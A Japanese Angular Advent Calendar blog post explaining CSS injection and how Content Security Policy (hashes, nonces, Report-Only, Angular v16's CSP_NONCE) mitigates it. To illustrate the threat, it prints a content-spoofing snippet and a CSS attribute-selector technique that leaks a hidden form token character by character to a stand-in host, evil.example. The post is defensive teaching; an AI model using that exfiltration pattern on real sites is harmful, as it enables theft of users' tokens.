🌲 Angular Advent Calendar 2023 🌲
この記事は 🎅🎅🎅🎅🎅🎅🎅🎅🎅🎅🎅 11人目の投稿です。
Angular v16でContent Security Policyの nonce
を提供するAPIがリリースされました。
Angular v16 adds an API to provide CSP nonce for inline stylesheets.
— Angular (@angular) May 17, 2023
The API provides a Content Security Policy nonce to Angular-generated style tags.
Check out the security guide! https://t.co/rr2itqV7tH pic.twitter.com/6F5NCRe7uO
Angularの設定はポストで紹介された短いコードを追加するだけです。
以上、おわり。
ここで記事が終わってしまうのはさみしいので、調べたことを書きとめつつ、この短いコードがどんな意味を持つのか深掘りしたいと思います。
フロントエンドのセキュリティ対策
現代のフロントエンドでは、HTMLを起点として画像やスタイルなどを外部リソース化する方法が主流となっています。外部リソースは遅延ロードやキャッシュを部分的に適用できる便利さを提供してくれますが、意図せず悪意のあるコンテンツを読み込む危険性をあわせもっています。
フロントエンドのレイヤーで起こりうる攻撃としては、クロスサイドスクリプティングやクリックジャッキング、セッションハイジャックなどがよく知られているところでしょうか。
攻撃からWeb閲覧者を守るため、ブラウザにはCORS、CSPなどの仕組みがあります。対策しておけば絶対に安全というものではありませんが、組み合わせて多層防御することで攻撃のリスクを減らすことができます。
CSSインジェクション
悪意のあるCSSのコードを埋め込む「CSSインジェクション」の例を見てみましょう。
次のコードは、外部リソースからユーザーが任意に投稿したコメントを取得し innerHTML
を使って表示します。
fetch("https://example.com")
.then(response => response.json())
.then(posts => {
posts.forEach(post => {
const el = document.createElement("p");
el.innerHTML = post.comment;
document.body.appendChild(e);
});
});
innerHTML
は与えられたテキストをHTMLのマークアップとして解釈します。 <style>
が含まれる場合は有効なCSSとして解釈されます。
こんにちは<style>body { background: yellow; }</style>
このようなコメントを投稿し背景色が黄色に変われば、そのサイトには任意のCSSを埋め込めることが明らかになります。 攻撃者は悪意のあるコードを投稿してくるでしょう。
Content Spoofing(コンテンツの置き換え)
既存のコンテンツを悪意のあるコンテンツに置き換えます。たとえば既存コンテンツをまるっと置き換えて、サイト移転のお知らせなどを表示することが可能です。
main {
display: none;
}
body::after {
content: "サイトは移転しました http://evil.example"
}
Data Leakage(データのリーク)
フォームにトークンが含まれる場合、1文字目のパターンを列挙して外部ドメインにレポートを送ることができます。この攻撃はトークンが hidden
であっても可能です。
<form>
<input type="hidden" id="token" value="abc">
<button type="submit">コメントを投稿</button>
</form>
@import url("http://evil.example/report-2.css");
#token[value^="a"] + * { background: url("http://evil.example/report?token=a"); }
#token[value^="b"] + * { background: url("http://evil.example/report?token=b"); }
#token[value^="c"] + * { background: url("http://evil.example/report?token=c"); }
サーバー側では report-2.css
を遅延させて2文字目のパターンを動的に生成して列挙します。これを繰り返すと、3文字目、4文字目と残りのトークン文字列が流出します。
@import url("http://evil.example/report-3.css");
#token[value^="aa"] + * { background: url("http://evil.example/report?token=a&index=2"); }
#token[value^="ab"] + * { background: url("http://evil.example/report?token=b&index=2"); }
#token[value^="ac"] + * { background: url("http://evil.example/report?token=c&index=2"); }
📓 攻撃の例は三井物産セキュアディレクション株式会社さんのブログを参考にさせていただきました。
CSSインジェクション | RESEARCH/BLOG
JavaScriptに比べてCSSの攻撃は自由度が低くなりますが、そのぶんサイト制作者の対策も見落としがちになります。
CSSにできることは限られているからと侮ってしまうと、こんな攻撃を仕掛けられてしまうんですね。怖いですね。
コンテンツセキュリティポリシー
サイト制作者がとれる対策のひとつに CSP(Content Security Policy) があります。CSPを設定すると、ポリシー違反のリソースの読み込みがブロックされ XSS(クロスサイトスクリプティング) のリスク軽減に役立ちます。
CSPはサーバー側のHTTPヘッダーで定義します。簡易にチェックする場合は、クライアント側のmetaタグでも指定可能です。
# Server-side
Content-Security-Policy: "{ポリシー}"
# Or Client-side
<meta http-equiv="content-security-policy" content="{ポリシー}">
{ポリシー}
にはCSPを適用する「ディレクティブ」と「値」を指定します。複数指定する場合はポリシーごとに ;(セミコロン)
で区切ります。
ディレクティブ はポリシーを適用する範囲です。CSSであれば style-src
を指定します。他には script-src(JavaScript)
や font-src(フォント)
や img-src(画像)
などがあります。 一括で指定する場合は default-src
を指定します。
値 はポリシーの具体的な内容です。self
はサイトをホストしたドメインを許容します。 https:
や example.com
のようにすると外部ドメインを許容します。 unsafe-inline
は <style>
や <script>
などインライン展開されるコードを許容します。
ポリシー違反の読み込みはブラウザによりブロックされます。コンテンツの外観はスタイルが適用されません。
csp-directives - Content Security Policy Level 3 | W3C Working Draft
style-srcのキーワード指定
CSPで自身のドメインのCSSとインラインスタイルを許容してみましょう。
Content-Security-Policy: "style-src 'self' 'unsafe-inline'"
<head>
<!-- 自身のドメイン -->
<link rel="stylesheet" href="./index.css">
<!-- インラインスタイル -->
<style>
body { padding: 16px; }
</style>
</head>
外部ドメインからCSSを読み込もうとした場合、CSPによってリソースの読み込みがブロックされます。
またブラウザの開発者ツールにポリシー違反を報告するエラーが表示されます。
<link rel="stylesheet" href="https://example.com/index.css">
style-srcのハッシュ指定
次はハッシュ指定の例を見てみましょう。
<style>
body { padding: 16px; }
</style>
<style>
の中身をハッシュしBase64エンコードした値を指定します。ハッシュアルゴリズムは sha256
sha384
sha512
が利用できます。
Content-Security-Policy: "style-src 'sha256-fH/V2bK3PeKauHshusx+uTP7v6RD5edo+QiGL2lGSXg='"
ハッシュ値と一致しないCSSが紛れ込んだ場合、インラインコードの読み込みがブロックされます。
<!-- 許容:ハッシュ値とマッチ -->
<style>
body { padding: 16px; }
</style>
<!-- ブロック:ハッシュ値とマッチしない -->
<style>
#loginForm { display:none }
#loginForm::after { }
</style>
ハッシュは改行や空白も加味されるため、エディターの拡張機能などでよしなに整形された場合はブロックされてしまうので注意しましょう。
<!-- ブロック:ハッシュ値とマッチしない -->
<style>
body {
padding: 16px;
}
</style>
style-srcのnonce指定
nonce
は number used once
の略で「ノンス」と読みます。CSRFトークンのように、一時的に使用するランダムな値をサーバー側で生成して埋め込みます。
ここでは説明のために XYZ
というダミー値を使用します。
Content-Security-Policy: "style-src 'nonce-XYZ'"
<link>
や <style>
タグに対して nonce
属性を追加し、HTTPヘッダーと同じ値を付与します。
<link rel="stylesheet" href="/index.css" nonce="XYZ">
<link rel="stylesheet" href="http://example.com/index.css" nonce="XYZ">
<style nonce="XYZ">
body { padding: 16px; }
</style>
nonce
の値とマッチしないCSSは、読み込みがブロックされます。
<!-- ブロック:nonce属性がない -->
<link rel="stylesheet" href="/index.css">
<!-- ブロック:値が異なる -->
<style nonce="ABC">
body { padding: 16px; }
</style>
Report-Only
Content-Security-Policy-Report-Only
ヘッダーを使うと、読み込みをブロックせずポリシー違反を調べることができます。
このヘッダーは Content-Security-Policy
とは違って <meta>
タグで指定することはできません。
Content-Security-Policy-Report-Only: "style-src 'self'; report-uri /report",
この例では self
で自身のドメインのCSSのみ許容しています。
外部リソースのCSSを読み込むとブラウザ上のコンテンツにスタイルが適用され、ポリシーに違反が開発者ツールに表示されます。
<!-- localhost:3000でホストしたサイトからlocalhost:4001を読み込む -->
<link rel="stylesheet" href="https://localhost:4001/index.css">
ポリシー違反は report-url
で指定したエンドポイントにも送信されます。
Content-Security-Policy-Report-Only
を稼働中のWebサイトに適用した場合、外観を損なうことなくポリシー違反を見つけることができます。 report-uri
が実在のエンドポイントでなくてもレポートを見ることができるため、詳細を確認するのにも役立つでしょう。
Angularのコンポーネントスタイル
Angularでは、コンポーネントメタデータの styleUrl
のファイルの中身は <head>
にインライン展開されます。
@Component({
selector: 'app-foo',
styleUrl: './foo.component.scss'
});
// foo.component.scss
span { color: red };
<head>
<style>
span[_ngcontent-ng-111] {
color: red;
}
/*# sourceMappingURL=data:application/json;base64,1234abc... */
</style>
</head>
styles
で指定した場合でも同じです。
@Component({
selector: 'app-bar',
styles: [`span { color: green; }`],
});
<head>
<style>
span[_ngcontent-ng-222] {
color: green;
}
/*# sourceMappingURL=data:application/json;base64,1234abc... */
</style>
</head>
Angular v16未満のCSP
AngularアプリケーションをホストしたWebサイトでCSPを導入する場合、これまではインラインスタイルを一括して許容する unsafe-inline
を指定する必要がありました。
Content-Security-Policy: "style-src 'unsafe-inline'"
unsafe-inline
はインラインスタイルすべてを許容します。そのため、JavaScriptで動的に生成された <style>
など、意図しないCSSにも実行許可を与えることがあります。個々の <style>
ごとに許可を与える hash
や nonce
のほうがより安全と言えるでしょう。
NOTE: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over ‘unsafe-inline’ when layering a content security policy on top of old code. When considering ‘unsafe-inline’, authors are encouraged to consider nonces (or hashes) instead.
Angular v16以降のCSP
v16以降、unsafe-inline
は nonce
に置き換えることができます。
Content-Security-Policy: "style-src 'nonce-XYZ'"
※グローバルスタイル style.(scss | css)
に対しても self
や nonce
を指定し許容する必要があります。
アプリケーションの設定は <app-root>
に ngCspNonce
を追加するだけです。
<app-root ngCspNonce="XYZ"></app-root>
または CSP_NONCE
トークンを通して値を設定します。
// src/app/app.config.ts
import { ApplicationConfig, CSP_NONCE } from '@angular/core';
export const appConfig: ApplicationConfig = {
providers: [{
provide: CSP_NONCE,
useValue: "XYZ"
}]
};
nonce
の値はAngularを通してインラインスタイルに展開されます。
<head>
<style nonce="XYZ">
span[_ngcontent-ng-111] { }
/*# sourceMappingURL=data:application/json;base64,1234abc... */
</style>
<style nonce="XYZ">
span[_ngcontent-ng-222] { }
/*# sourceMappingURL=data:application/json;base64,1234abc... */
</style>
</head>
おわりに
ついこの前まで nonce
はおろかCSPについてもおぼろげな知識しかなかったのですが、ng-japan onAirでアップデート情報として紹介されたことをきっかけに「nonce
ってなんすか!?」と不思議に思って調べてみました。
- ng-japan onAir #65 Angularの最新情報がわかる!Monthly Angular 4月号
- feat(core): add API to provide CSP nonce for inline stylesheets (#49444) · angular/angular@17e9862
Angularでは、CSPに関する実験的機能の Trusted-types
の対応も始まっているようです。
W3Cのドキュメントをつぶさに読む習慣がないので、Web標準やトレンドはだいたいAngularを通して学んでいます。今回もとても勉強になりました!
繰り返しになりますが、CSPはブラウザの利用者を守る多層防御の手段のひとつにすぎません。設定したからCSSインジェクションはもう安心!とは思わずに、手段を増やしてWebサイトを安全に保守運用していきたいですね。
明日は yamashita-kenngo さんの投稿です。よろしくお願いします。🎅